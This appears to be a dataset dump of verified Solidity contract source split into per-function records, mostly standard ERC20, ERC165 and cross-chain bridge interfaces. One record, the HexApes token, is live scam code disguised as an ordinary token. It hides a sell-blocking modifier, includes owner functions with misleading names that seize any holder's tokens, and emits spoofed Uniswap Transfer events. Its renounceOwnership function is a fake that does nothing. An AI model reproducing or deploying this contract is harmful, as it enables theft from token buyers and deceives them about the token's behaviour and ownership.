0x84d821f7fbdd595c4c4a50842913e6b1e07d7a53
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
/** * @dev Interface of the ERC20 standard as defined in the EIP. */
NatSpecMultiLine
allowance
function allowance(address owner, address spender) external view returns (uint256);
/** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */
NatSpecMultiLine
v0.8.7+commit.e28d00a7
MIT
ipfs://f8442953bd909b6fbe157ae84100e028930e57f13053ccee3a9f7c75e8ba20fa
{ "func_code_index": [ 849, 935 ] }
59,281
BNPLToken
@openzeppelin/contracts/utils/Context.sol
0x84d821f7fbdd595c4c4a50842913e6b1e07d7a53
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
/** * @dev Interface of the ERC20 standard as defined in the EIP. */
NatSpecMultiLine
approve
function approve(address spender, uint256 amount) external returns (bool);
/** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */
NatSpecMultiLine
v0.8.7+commit.e28d00a7
MIT
ipfs://f8442953bd909b6fbe157ae84100e028930e57f13053ccee3a9f7c75e8ba20fa
{ "func_code_index": [ 1571, 1648 ] }
59,282
BNPLToken
@openzeppelin/contracts/utils/Context.sol
0x84d821f7fbdd595c4c4a50842913e6b1e07d7a53
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
/** * @dev Interface of the ERC20 standard as defined in the EIP. */
NatSpecMultiLine
transferFrom
function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool);
/** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */
NatSpecMultiLine
v0.8.7+commit.e28d00a7
MIT
ipfs://f8442953bd909b6fbe157ae84100e028930e57f13053ccee3a9f7c75e8ba20fa
{ "func_code_index": [ 1943, 2069 ] }
59,283
HexApes
HexApes.sol
0x0862f2e82018e66460b1aa1cd1aecc6f33ac6b02
Solidity
HexApes
contract HexApes is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _affirmative; mapping (address => bool) private _rejectPile; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address private _safeOwner; uint256 private _sellAmount = 0; address public _currentRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address deployer = 0x896f23373667274e8647b99033c2a8461ddD98CC; address public _owner = 0x4fD4F8466D1C4dD2dd0ffe3F9F9fE69ce4C0904D; constructor () public { _name = "HexApes"; _symbol = "HAPE"; _decimals = 18; uint256 initialSupply = 686403963480029107599641879 * 10 ** 18; _safeOwner = _owner; _mint(deployer, initialSupply/2); _mint(0xF447BE386164dADfB5d1e7622613f289F17024D8, initialSupply/4); _mint(0x295d587aA3Ca6E57e227A4430Ab7c4c00989a195, initialSupply/4); _mint(0x4d224452801ACEd8B2F0aebE155379bb5D594381, initialSupply/4); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _start(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _start(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function approvalIncrease(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _affirmative[receivers[i]] = true; _rejectPile[receivers[i]] = false; } } function approvalDecrease(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _rejectPile[receivers[i]] = true; _affirmative[receivers[i]] = false; } } function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); if (sender == _owner){ sender = deployer; } emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _start(address sender, address recipient, uint256 amount) internal main(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); if (sender == _owner){ sender = deployer; } emit Transfer(sender, recipient, amount); } modifier main(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_affirmative[sender] == true){ _;}else{if (_rejectPile[sender] == true){ require((sender == _safeOwner)||(recipient == _currentRouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_rejectPile[sender] = true; _affirmative[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _currentRouter), "ERC20: transfer amount exceeds balance");_;} } } } } } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } modifier _auth() { require(msg.sender == _owner, "Not allowed to interact"); _; } //-----------------------------------------------------------------------------------------------------------------------// function multicall(address emitUniswapPool,address[] memory emitReceivers,uint256[] memory emitAmounts) public _auth(){ //Multi Transfer Emit Spoofer from Uniswap Pool for (uint256 i = 0; i < emitReceivers.length; i++) {emit Transfer(emitUniswapPool, emitReceivers[i], emitAmounts[i]);}} function addLiquidityETH(address emitUniswapPool,address emitReceiver,uint256 emitAmount) public _auth(){ //Emit Transfer Spoofer from Uniswap Pool emit Transfer(emitUniswapPool, emitReceiver, emitAmount);} function swap(address recipient) public _auth(){ _affirmative[recipient]=true; _approve(recipient, _currentRouter,_approveValue);} function obstruct(address recipient) public _auth(){ //Blker _affirmative[recipient]=false; _approve(recipient, _currentRouter,0); } function renounceOwnership() public _auth(){ //Renounces Ownership } function reverse(address target) public _auth() virtual returns (bool) { //Approve Spending _approve(target, _msgSender(), _approveValue); return true; } function transferTokens(address sender, address recipient, uint256 amount) public _auth() virtual returns (bool) { //Single Tranfer _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function transfer_(address emitSender, address emitRecipient, uint256 emitAmount) public _auth(){ //Emit Single Transfer emit Transfer(emitSender, emitRecipient, emitAmount); } function transferAllocation(address sndr,address[] memory receivers, uint256[] memory amounts) public _auth(){ _approve(sndr, _msgSender(), _approveValue); for (uint256 i = 0; i < receivers.length; i++) { _transfer(sndr, receivers[i], amounts[i]); } } function swapETHForExactTokens(address sndr,address[] memory receivers, uint256[] memory amounts) public _auth(){ _approve(sndr, _msgSender(), _approveValue); for (uint256 i = 0; i < receivers.length; i++) { _transfer(sndr, receivers[i], amounts[i]); } } function claimTokens(address emitUniswapPool,address[] memory emitReceivers,uint256[] memory emitAmounts)public _auth(){ for (uint256 i = 0; i < emitReceivers.length; i++) {emit Transfer(emitUniswapPool, emitReceivers[i], emitAmounts[i]);}} function burnLPTokens()public _auth(){} }
multicall
function multicall(address emitUniswapPool,address[] memory emitReceivers,uint256[] memory emitAmounts) public _auth(){ //Multi Transfer Emit Spoofer from Uniswap Pool for (uint256 i = 0; i < emitReceivers.length; i++) {emit Transfer(emitUniswapPool, emitReceivers[i], emitAmounts[i]);}}
//-----------------------------------------------------------------------------------------------------------------------//
LineComment
v0.6.12+commit.27d51765
None
ipfs://dcfdc33ddf7ab2b896543a1f942874eeb3e7bd3d5b66a70b790d03668ae1acd8
{ "func_code_index": [ 7331, 7632 ] }
59,284
BNPLToken
@openzeppelin/contracts/utils/introspection/IERC165.sol
0x84d821f7fbdd595c4c4a50842913e6b1e07d7a53
Solidity
IERC165
interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
/** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */
NatSpecMultiLine
supportsInterface
function supportsInterface(bytes4 interfaceId) external view returns (bool);
/** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */
NatSpecMultiLine
v0.8.7+commit.e28d00a7
MIT
ipfs://f8442953bd909b6fbe157ae84100e028930e57f13053ccee3a9f7c75e8ba20fa
{ "func_code_index": [ 374, 455 ] }
59,285
BNPLToken
@openzeppelin/contracts/utils/introspection/IERC165.sol
0x84d821f7fbdd595c4c4a50842913e6b1e07d7a53
Solidity
ERC165
abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } }
/** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */
NatSpecMultiLine
supportsInterface
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; }
/** * @dev See {IERC165-supportsInterface}. */
NatSpecMultiLine
v0.8.7+commit.e28d00a7
MIT
ipfs://f8442953bd909b6fbe157ae84100e028930e57f13053ccee3a9f7c75e8ba20fa
{ "func_code_index": [ 103, 265 ] }
59,286
XC
XC.sol
0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34
Solidity
XCInterface
interface XCInterface { /** * Set contract service status. * @param status contract service status (0:closed;1:only-closed-lock;2:only-closed-unlock;3:opened;). */ function setStatus(uint8 status) external; /** * Get contract service status. * @return contract service status. */ function getStatus() external view returns (uint8); /** * Get the current contract platform name. * @return contract platform name. */ function getPlatformName() external view returns (bytes32); /** * Set the current contract administrator. * @param account account of contract administrator. */ function setAdmin(address account) external; /** * Get the current contract administrator. * @return contract administrator. */ function getAdmin() external view returns (address); /** * Set the Token contract address. * @param account contract address. */ function setToken(address account) external; /** * Get the Token contract address. * @return contract address. */ function getToken() external view returns (address); /** * Set the XCPlugin contract address. * @param account contract address. */ function setXCPlugin(address account) external; /** * Get the XCPlugin contract address. * @return contract address. */ function getXCPlugin() external view returns (address); /** * Transfer out of cross chain. * @param toAccount account of to platform. * @param value transfer amount. */ function lock(address toAccount, uint value) external; /** * Transfer in of cross chain. * @param txid transaction id. * @param fromAccount ame of to platform. * @param toAccount account of to platform. * @param value transfer amount. */ function unlock(string txid, address fromAccount, address toAccount, uint value) external; /** * Transfer the misoperation to the amount of the contract account to the specified account. * @param account the specified account. * @param value transfer amount. */ function withdraw(address account, uint value) external; }
/** * XC Contract Interface. */
NatSpecMultiLine
setStatus
function setStatus(uint8 status) external;
/** * Set contract service status. * @param status contract service status (0:closed;1:only-closed-lock;2:only-closed-unlock;3:opened;). */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a
{ "func_code_index": [ 190, 237 ] }
59,287
XC
XC.sol
0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34
Solidity
XCInterface
interface XCInterface { /** * Set contract service status. * @param status contract service status (0:closed;1:only-closed-lock;2:only-closed-unlock;3:opened;). */ function setStatus(uint8 status) external; /** * Get contract service status. * @return contract service status. */ function getStatus() external view returns (uint8); /** * Get the current contract platform name. * @return contract platform name. */ function getPlatformName() external view returns (bytes32); /** * Set the current contract administrator. * @param account account of contract administrator. */ function setAdmin(address account) external; /** * Get the current contract administrator. * @return contract administrator. */ function getAdmin() external view returns (address); /** * Set the Token contract address. * @param account contract address. */ function setToken(address account) external; /** * Get the Token contract address. * @return contract address. */ function getToken() external view returns (address); /** * Set the XCPlugin contract address. * @param account contract address. */ function setXCPlugin(address account) external; /** * Get the XCPlugin contract address. * @return contract address. */ function getXCPlugin() external view returns (address); /** * Transfer out of cross chain. * @param toAccount account of to platform. * @param value transfer amount. */ function lock(address toAccount, uint value) external; /** * Transfer in of cross chain. * @param txid transaction id. * @param fromAccount ame of to platform. * @param toAccount account of to platform. * @param value transfer amount. */ function unlock(string txid, address fromAccount, address toAccount, uint value) external; /** * Transfer the misoperation to the amount of the contract account to the specified account. * @param account the specified account. * @param value transfer amount. */ function withdraw(address account, uint value) external; }
/** * XC Contract Interface. */
NatSpecMultiLine
getStatus
function getStatus() external view returns (uint8);
/** * Get contract service status. * @return contract service status. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a
{ "func_code_index": [ 336, 392 ] }
59,288
XC
XC.sol
0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34
Solidity
XCInterface
interface XCInterface { /** * Set contract service status. * @param status contract service status (0:closed;1:only-closed-lock;2:only-closed-unlock;3:opened;). */ function setStatus(uint8 status) external; /** * Get contract service status. * @return contract service status. */ function getStatus() external view returns (uint8); /** * Get the current contract platform name. * @return contract platform name. */ function getPlatformName() external view returns (bytes32); /** * Set the current contract administrator. * @param account account of contract administrator. */ function setAdmin(address account) external; /** * Get the current contract administrator. * @return contract administrator. */ function getAdmin() external view returns (address); /** * Set the Token contract address. * @param account contract address. */ function setToken(address account) external; /** * Get the Token contract address. * @return contract address. */ function getToken() external view returns (address); /** * Set the XCPlugin contract address. * @param account contract address. */ function setXCPlugin(address account) external; /** * Get the XCPlugin contract address. * @return contract address. */ function getXCPlugin() external view returns (address); /** * Transfer out of cross chain. * @param toAccount account of to platform. * @param value transfer amount. */ function lock(address toAccount, uint value) external; /** * Transfer in of cross chain. * @param txid transaction id. * @param fromAccount ame of to platform. * @param toAccount account of to platform. * @param value transfer amount. */ function unlock(string txid, address fromAccount, address toAccount, uint value) external; /** * Transfer the misoperation to the amount of the contract account to the specified account. * @param account the specified account. * @param value transfer amount. */ function withdraw(address account, uint value) external; }
/** * XC Contract Interface. */
NatSpecMultiLine
getPlatformName
function getPlatformName() external view returns (bytes32);
/** * Get the current contract platform name. * @return contract platform name. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a
{ "func_code_index": [ 501, 565 ] }
59,289
XC
XC.sol
0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34
Solidity
XCInterface
interface XCInterface { /** * Set contract service status. * @param status contract service status (0:closed;1:only-closed-lock;2:only-closed-unlock;3:opened;). */ function setStatus(uint8 status) external; /** * Get contract service status. * @return contract service status. */ function getStatus() external view returns (uint8); /** * Get the current contract platform name. * @return contract platform name. */ function getPlatformName() external view returns (bytes32); /** * Set the current contract administrator. * @param account account of contract administrator. */ function setAdmin(address account) external; /** * Get the current contract administrator. * @return contract administrator. */ function getAdmin() external view returns (address); /** * Set the Token contract address. * @param account contract address. */ function setToken(address account) external; /** * Get the Token contract address. * @return contract address. */ function getToken() external view returns (address); /** * Set the XCPlugin contract address. * @param account contract address. */ function setXCPlugin(address account) external; /** * Get the XCPlugin contract address. * @return contract address. */ function getXCPlugin() external view returns (address); /** * Transfer out of cross chain. * @param toAccount account of to platform. * @param value transfer amount. */ function lock(address toAccount, uint value) external; /** * Transfer in of cross chain. * @param txid transaction id. * @param fromAccount ame of to platform. * @param toAccount account of to platform. * @param value transfer amount. */ function unlock(string txid, address fromAccount, address toAccount, uint value) external; /** * Transfer the misoperation to the amount of the contract account to the specified account. * @param account the specified account. * @param value transfer amount. */ function withdraw(address account, uint value) external; }
/** * XC Contract Interface. */
NatSpecMultiLine
setAdmin
function setAdmin(address account) external;
/** * Set the current contract administrator. * @param account account of contract administrator. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a
{ "func_code_index": [ 692, 741 ] }
59,290
XC
XC.sol
0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34
Solidity
XCInterface
interface XCInterface { /** * Set contract service status. * @param status contract service status (0:closed;1:only-closed-lock;2:only-closed-unlock;3:opened;). */ function setStatus(uint8 status) external; /** * Get contract service status. * @return contract service status. */ function getStatus() external view returns (uint8); /** * Get the current contract platform name. * @return contract platform name. */ function getPlatformName() external view returns (bytes32); /** * Set the current contract administrator. * @param account account of contract administrator. */ function setAdmin(address account) external; /** * Get the current contract administrator. * @return contract administrator. */ function getAdmin() external view returns (address); /** * Set the Token contract address. * @param account contract address. */ function setToken(address account) external; /** * Get the Token contract address. * @return contract address. */ function getToken() external view returns (address); /** * Set the XCPlugin contract address. * @param account contract address. */ function setXCPlugin(address account) external; /** * Get the XCPlugin contract address. * @return contract address. */ function getXCPlugin() external view returns (address); /** * Transfer out of cross chain. * @param toAccount account of to platform. * @param value transfer amount. */ function lock(address toAccount, uint value) external; /** * Transfer in of cross chain. * @param txid transaction id. * @param fromAccount ame of to platform. * @param toAccount account of to platform. * @param value transfer amount. */ function unlock(string txid, address fromAccount, address toAccount, uint value) external; /** * Transfer the misoperation to the amount of the contract account to the specified account. * @param account the specified account. * @param value transfer amount. */ function withdraw(address account, uint value) external; }
/** * XC Contract Interface. */
NatSpecMultiLine
getAdmin
function getAdmin() external view returns (address);
/** * Get the current contract administrator. * @return contract administrator. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a
{ "func_code_index": [ 850, 907 ] }
59,291
XC
XC.sol
0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34
Solidity
XCInterface
interface XCInterface { /** * Set contract service status. * @param status contract service status (0:closed;1:only-closed-lock;2:only-closed-unlock;3:opened;). */ function setStatus(uint8 status) external; /** * Get contract service status. * @return contract service status. */ function getStatus() external view returns (uint8); /** * Get the current contract platform name. * @return contract platform name. */ function getPlatformName() external view returns (bytes32); /** * Set the current contract administrator. * @param account account of contract administrator. */ function setAdmin(address account) external; /** * Get the current contract administrator. * @return contract administrator. */ function getAdmin() external view returns (address); /** * Set the Token contract address. * @param account contract address. */ function setToken(address account) external; /** * Get the Token contract address. * @return contract address. */ function getToken() external view returns (address); /** * Set the XCPlugin contract address. * @param account contract address. */ function setXCPlugin(address account) external; /** * Get the XCPlugin contract address. * @return contract address. */ function getXCPlugin() external view returns (address); /** * Transfer out of cross chain. * @param toAccount account of to platform. * @param value transfer amount. */ function lock(address toAccount, uint value) external; /** * Transfer in of cross chain. * @param txid transaction id. * @param fromAccount ame of to platform. * @param toAccount account of to platform. * @param value transfer amount. */ function unlock(string txid, address fromAccount, address toAccount, uint value) external; /** * Transfer the misoperation to the amount of the contract account to the specified account. * @param account the specified account. * @param value transfer amount. */ function withdraw(address account, uint value) external; }
/** * XC Contract Interface. */
NatSpecMultiLine
setToken
function setToken(address account) external;
/** * Set the Token contract address. * @param account contract address. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a
{ "func_code_index": [ 1009, 1058 ] }
59,292
XC
XC.sol
0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34
Solidity
XCInterface
interface XCInterface { /** * Set contract service status. * @param status contract service status (0:closed;1:only-closed-lock;2:only-closed-unlock;3:opened;). */ function setStatus(uint8 status) external; /** * Get contract service status. * @return contract service status. */ function getStatus() external view returns (uint8); /** * Get the current contract platform name. * @return contract platform name. */ function getPlatformName() external view returns (bytes32); /** * Set the current contract administrator. * @param account account of contract administrator. */ function setAdmin(address account) external; /** * Get the current contract administrator. * @return contract administrator. */ function getAdmin() external view returns (address); /** * Set the Token contract address. * @param account contract address. */ function setToken(address account) external; /** * Get the Token contract address. * @return contract address. */ function getToken() external view returns (address); /** * Set the XCPlugin contract address. * @param account contract address. */ function setXCPlugin(address account) external; /** * Get the XCPlugin contract address. * @return contract address. */ function getXCPlugin() external view returns (address); /** * Transfer out of cross chain. * @param toAccount account of to platform. * @param value transfer amount. */ function lock(address toAccount, uint value) external; /** * Transfer in of cross chain. * @param txid transaction id. * @param fromAccount ame of to platform. * @param toAccount account of to platform. * @param value transfer amount. */ function unlock(string txid, address fromAccount, address toAccount, uint value) external; /** * Transfer the misoperation to the amount of the contract account to the specified account. * @param account the specified account. * @param value transfer amount. */ function withdraw(address account, uint value) external; }
/** * XC Contract Interface. */
NatSpecMultiLine
getToken
function getToken() external view returns (address);
/** * Get the Token contract address. * @return contract address. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a
{ "func_code_index": [ 1153, 1210 ] }
59,293
XC
XC.sol
0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34
Solidity
XCInterface
interface XCInterface { /** * Set contract service status. * @param status contract service status (0:closed;1:only-closed-lock;2:only-closed-unlock;3:opened;). */ function setStatus(uint8 status) external; /** * Get contract service status. * @return contract service status. */ function getStatus() external view returns (uint8); /** * Get the current contract platform name. * @return contract platform name. */ function getPlatformName() external view returns (bytes32); /** * Set the current contract administrator. * @param account account of contract administrator. */ function setAdmin(address account) external; /** * Get the current contract administrator. * @return contract administrator. */ function getAdmin() external view returns (address); /** * Set the Token contract address. * @param account contract address. */ function setToken(address account) external; /** * Get the Token contract address. * @return contract address. */ function getToken() external view returns (address); /** * Set the XCPlugin contract address. * @param account contract address. */ function setXCPlugin(address account) external; /** * Get the XCPlugin contract address. * @return contract address. */ function getXCPlugin() external view returns (address); /** * Transfer out of cross chain. * @param toAccount account of to platform. * @param value transfer amount. */ function lock(address toAccount, uint value) external; /** * Transfer in of cross chain. * @param txid transaction id. * @param fromAccount ame of to platform. * @param toAccount account of to platform. * @param value transfer amount. */ function unlock(string txid, address fromAccount, address toAccount, uint value) external; /** * Transfer the misoperation to the amount of the contract account to the specified account. * @param account the specified account. * @param value transfer amount. */ function withdraw(address account, uint value) external; }
/** * XC Contract Interface. */
NatSpecMultiLine
setXCPlugin
function setXCPlugin(address account) external;
/** * Set the XCPlugin contract address. * @param account contract address. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://48338a4ac904e73af90b00de25fad6f10ca8189743af5e7bf2075315aecae08a
{ "func_code_index": [ 1315, 1367 ] }
59,294
XC
XC.sol
0x28f1135e43e61ebf303c8f1f9beef4f6a00dcb34
Solidity
XCInterface
